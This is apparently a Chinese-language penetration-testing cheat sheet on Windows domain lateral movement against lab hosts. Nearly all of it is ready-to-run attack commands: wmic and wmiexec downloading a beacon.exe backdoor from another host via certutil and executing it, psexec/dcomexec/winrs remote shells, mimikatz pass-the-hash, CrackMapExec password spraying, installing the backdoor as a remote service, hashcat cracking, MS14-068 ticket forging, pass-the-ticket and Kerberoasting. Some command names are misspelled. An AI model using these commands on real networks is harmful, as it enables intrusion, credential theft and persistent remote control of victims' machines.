本文章中的192.168.3.32是目标地址,就是靶机ip地址
条件:wmi服务开启,端口135,默认开启
防火墙允许135、445等端口通信
知道目标机的账户密码或HASH
内置(单执行)
shell wmic /node:192.168.3.32 /user:sqlserver\administrator /password:admin!@#123 process call create "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe" //下载192.168.3.31的后门到192.168.3.32的c盘根目录下
shell wmic /node:192.168.3.32 /user:sqlserver\administrator /password:admin!@#123 process call create "c:\beacon.exe"
/user:.\administrator //会以为是外部本地计算机用户
/user:administator //会以为是域用户
WMI外部:交互式&单执行
python wmiexec.py sqlserver/administrator:admin@[email protected] //直接进入交互式shell
python wmiexec.py sqlserver/administrator:admin@[email protected] "whoami" //单执行命令
python wmiexec.py --hashes :518b98ad4178a53695dc997aa02d455c sqlserver/[email protected] "whoami" //通过hashes执行命令也可以进入交互shell1
下载后门
python wmiexec.py sqlserver/administrator:admin@[email protected] "certutil -urlcache -split -f http://example.com/exec.exe"
执行后门
python wmiexec.py sqlserver/administrator:admin@[email protected] "c:/beacon.exe"
内置:(交互式不适用CS) 上传wmiexec.vbs
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin@123 //上传vbs
内部:(交互式windows官方工具) psexec下载地址
https://learn.microsoft.com/zh-cn/sysinternals/downloads/pstools
psexec \\192.168.3.32 -u administrator -p admin@123 -s cmd //交互式shell,在cs中容易掉线
外部:(交互式 外人开发的工具)
使用DCOM分布式组件对象模型进行横向移动
适用于目标系统win7系统以上
管理员权限Powershell
远程主机防火墙未阻止
https://mp.weixin.qq.com/s/9u0kprGbaU1S1BEQWj18AA
https://github.com/fortra/impacket/blob/master/examples/dcomexec.py
python dcomeexec.py sqlserver/administrator:admin@[email protected] //交互shell
python dcomexec.py sqlserver/administrator:admin@[email protected] "c:/beacon.exe"
python dcomexec.py --hashes :518b98ad4178a53695dc997aa02d455c sqlserver/[email protected] "whoami"
WinRM代表windows远程管理,是一种允许管理员远程执行系统管理任务的服务,WinRS是内置的命令行工具,用于远程连接执行运行WinRM的服务器并执行大多数cmd命令
https://cloud.tencent.com/developer/article/1802241
利用条件:
1.win2012之前利用需要手动开启winRM,在win2012之后包括win2012的版本是默认开启的
2.防火墙对5986 5985端口开放
开启命令
winrm quichconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
1.探针使用
端口扫描5985
2.连接执行:通过winrm来远程命令
winrs -r:192.168.3.32 -192.168.3.32\administrator -p:admin!@#45 "whoami"
利用条件
端口扫描:3389
tasklist /svc | find "TermService" #找到对应服务进程的PID
netstat -ano | find "PID" #找到进程对应的端口号
明文连接
mstsc /console /v:192.168.3.32 /admin //建立连接,32是目标ip地址
mimkata连接(HASH连接)
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c "/run:mstsc /restrictedadmin" //使用这个登录目标3.32可以进行账号密码验证
SharpRDP明文连接
https://github.com/0xthirteen/SharpRDP
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
https://github.com/byt3bl33d3r/CrackMapExec
官方手册:https://www.crackmapexec.wiki/
下载对应release,建立socks连接,设置socks代理,配置规则,调用
1.Linux ProxyChains使用
建立代理,在cs上使用socks代理,然后配置文件写本地,然后填上cs上设置的端口
代理配置:ProxyChains.conf
代理调用:ProxyChains 命令
2.密码喷射-域用户登录PTH
主要参数:-u用户,-p密码,-H哈希值,-d指定域,-x执行命令
主要功能:多协议探针,字典设置,本地及域喷射,命令回显执行等
proxychains4 crackmapexec smb 192.168.3.21-35 -u user.txt -H 518b98ad4178a53695dc997aa02d455c #对一个范围ip使用用户名字典+hash进行登录
proxychains4 crackmapexec smb 192.168.3.21-35 -u administrator -p "admin@123" --local-auth #本地用户明文登录
proxychains4 crackmapexec smb 192.168.3.21-35 -u administrator -p "admin@123" --local-auth -x "whoami" //测试回显whoami命令的就是成功登录的
pass the hash (哈希传递攻击,简称PTH)
pass the ticket (票据传递攻击,简称PTT)
pass the key (密钥传递攻击,简称PTK)
PTH(pass the hash) #利用lm或ntlm的值进行的渗透测试(NTML认证攻击)
PTK(pass the key) #利用ekeys aes256进行的渗透测试(NTLM认证攻击)
PTT(pass the ticket) #利用的票据凭证TGT进行渗透测试(Kerberos认证攻击f)
逻辑思路
明文传递->PTH(hash传递)->PTT(票据攻击)->PTK(AES)
LM :2000 xp 2003
NTLM:其他剩余机器
我们通过使用mimikatz来抓取明文密码的时候也可以看到是LM还是NTLM的hash值
之前的横向移动手段
mimikatz privilege::debug //提升权限
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c //使用hash和admininstrator来连接3.32
net use \\192.168.3.32\c$ //查看
dir \\192.168.3.32\c$ //获取c盘的内容
copy beacon.exe \\192.168.3.32\c$
sc \\sqlserver create bshell binpath="c:\beacon.exe" //4.exe写为服务
sc \\sqlserver start bshell //开启执行服务
平台:https://www.cmd5.com/
工具:https://hashcat.net/hashcat/
破解:
字典破解
hashcat -a 0 -m 1000 --force 518b98ad4178a53695dc997aa02d455c pass.txt
hashcat -a 0 -m 1000 --force 518b98ad4178a53695dc997aa02d455c --show //查看结果
暴力破解
?l小写
?s符号
?d数字
hashcat -a 3 -m 1000 518b98ad4178a53695dc997aa02d455c ?l?l?l?s?s?d?d
MS14-068
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
https://github.com/gentilkiwi/kekeo/releases
1.漏洞-MS14068(webadmin权限)利用漏洞生成的用户的新身份票据尝试认证MS14-168是密钥分发中心(KDC)服务中的Windows漏洞,它允许经过身份验证的用户在其Kerberos票证中插入任意PAC
该漏洞位于kdcsvc.dll域控制器的密钥分发中心KDC中,用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证
获取SID值:
shell whoami/user
生成票据文件:
shell ms14-168.exe -u [email protected] -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin@123
清除票据连接;
shell klist purge
内存导入票据:
mimikatz kerberos::ptc [email protected]
连接目标上线
shell dir \\OWA2010CN-GOD\c$
shell net use \\OWA2010CN-GOD\C$
copy beacon.exe \\OWA2010CN-GOD\C$
sc \\OWA2010CN-GOD create bindshell binpath="c:\\beacon.exe" //创建和开启服务
sc \\OWA2010CN-GOD start bindshell
kekeo(高权限,需要NTLM)利用获取的NTLM生成的新的票据尝试认证因为当前主机肯定之前与其他主机连接过,所以本地应该生成了一些票据,我们可以导出这些票据,然后再导入票据,利用该方法类似于cookie欺骗
缺点:票据是有有效期的,所以如果当前主机在连接过域控的话,有效期内可利用
生成票据
shell kekeo "tgt::ask /user:Administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7" "exit"
导入票据:
shell kekeo "kerberos::ptt [email protected][email protected]" "exit"
查看票据:
shell klist
利用票据连接:
shell dir \\owa2010.cn-god\c$
注意:成功不成功看ntlm哈希值的正确性
mimikatz(高权限,需Ticket)利用历史遗留的票据重新认证尝试
导出票据
mimikatz sekurlsa::tickets /export
导入票据
mimikatz kerberlsa::ptt
C:\Users\webadmin\Desktop\[0;22d3a][email protected] //一般选择40开头的,如果不行换60的
查看票据
shell klist
利用票据连接
shell dir \\owa2010cn-god\c$
Rubeus&Impacket(高权限,需Ticket)利用通讯的加密类型票据进行爆破明文 Kerberos利用条件:
采用rc4加密类型票据,工具Rubeus&impacket检测或看票据加密类型
Kerberoasting攻击的利用
服务票据的爆破,无脑运行即可
1.扫描
posershell setspn -T 0day.org -q */*
posershell setspn -T 0day.org -q */* | findstr "MYSQL"
2.检测加请求
Rubeus kerberoast
impackett-getuserspns
请求所有SPN服务器,并找到能破解的票据格式保存到hash.txt
python GetUserSPNs.py -request -dc-ip 192.168.3.32 0day.org/jack:admin@123 -outputfile hash.txt
3.手工请求(要产生票据的文件)
powershell Add-type -AssemblyName System.IdentityModel
powershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"
mimikatz kerberos::ask /target:MSSQLSvc/SqlServer.god.org:1433
4.导出
mimikatz kerberos::list /export
4.破解
文件票据:pyton tgsrepcrack.py pass.txt "xx.kirbi"
HASH密文:hashcat -m 13100 hash.txt pass.txt --force